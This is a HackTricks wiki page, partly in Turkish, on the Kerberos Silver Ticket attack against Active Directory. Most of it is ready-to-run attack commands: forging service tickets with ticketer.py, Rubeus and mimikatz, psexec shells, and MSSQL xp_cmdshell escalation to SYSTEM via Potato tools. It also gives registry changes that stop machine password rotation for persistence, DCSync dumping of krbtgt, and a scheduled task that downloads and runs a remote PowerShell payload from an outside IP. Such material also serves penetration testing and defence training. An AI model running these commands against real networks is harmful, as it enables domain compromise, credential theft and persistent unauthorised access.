Silver Ticket

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.

warning

Silver Tickets are less detectable than Golden Tickets because they only require the hash of the service account, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.

Moreover, if you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Bilet oluşturma (ticket crafting) için, kullanılan araçlar işletim sistemine göre farklılık gösterir:

Linux üzerinde

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Windows'ta

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

CIFS servisi, hedefin dosya sistemine erişim için yaygın bir hedef olarak vurgulanır; ancak HOST ve RPCSS gibi diğer servisler de görevler ve WMI sorguları için istismar edilebilir.

Örnek: MSSQL servisi (MSSQLSvc) + Potato to SYSTEM

If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.

bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • Eğer ortaya çıkan bağlam SeImpersonatePrivilege'e sahipse (genellikle hizmet hesapları için geçerlidir), SYSTEM elde etmek için bir Potato varyantı kullanın:
bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

MSSQL'in kötüye kullanılması ve xp_cmdshell'in etkinleştirilmesi hakkında daha fazla detay:

MSSQL AD Abuse

Potato tekniklerine genel bakış:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Mevcut Servisler

Servis TürüServis Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

WinRM

HOST

HTTP

In some occasions you can just ask for: WINRM

Scheduled TasksHOST
Windows File Share, also psexecCIFS
LDAP operations, included DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Rubeus kullanarak bu ticket'ların tümünü şu parametre ile isteyebilirsiniz:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets Olay ID'leri

  • 4624: Account Logon
  • 4634: Account Logoff
  • 4672: Admin Logon

Kalıcılık

Makinelerin parolalarını her 30 günde bir döndürmesini engellemek için HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 olarak ayarlayabilir ya da makinelerin parolasının ne zaman döndürüleceğini göstermek için HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge değerini 30 günden daha büyük bir değere ayarlayabilirsiniz.

Service ticket'larının kötüye kullanımı

Aşağıdaki örneklerde ticket'in yönetici hesabını taklit ederek elde edildiğini varsayalım.

CIFS

Bu ticket ile C$ ve ADMIN$ klasörlerine SMB üzerinden (eğer erişilebilirlerse) erişebilir ve uzak dosya sisteminin bir bölümüne dosya kopyalamak için şu şekilde işlem yapabilirsiniz:

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Ayrıca host içinde bir shell elde edebilir veya psexec kullanarak herhangi bir komutu çalıştırabilirsiniz:

PsExec/Winexec/ScExec

HOST

Bu izinle uzak bilgisayarlarda zamanlanmış görevler oluşturabilir ve herhangi bir komutu çalıştırabilirsiniz:

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Bu tickets ile hedef sistemde WMI çalıştırabilirsiniz:

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

wmiexec hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:

WmiExec

HOST + WSMAN (WINRM)

Bir bilgisayarda winrm erişiminiz olduğunda ona erişebilir ve hatta PowerShell alabilirsiniz:

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Uzak bir hosta bağlanmanın winrm kullanarak daha fazla yolunu öğrenmek için aşağıdaki sayfaya bakın:

WinRM

warning

Uzak bilgisayara erişim için winrm'in etkin ve dinliyor olması gerektiğini unutmayın.

LDAP

Bu ayrıcalıkla DCSync kullanarak DC veritabanını dökebilirsiniz:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

DCSync hakkında daha fazla bilgi edinin için aşağıdaki sayfaya bakın:

DCSync

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin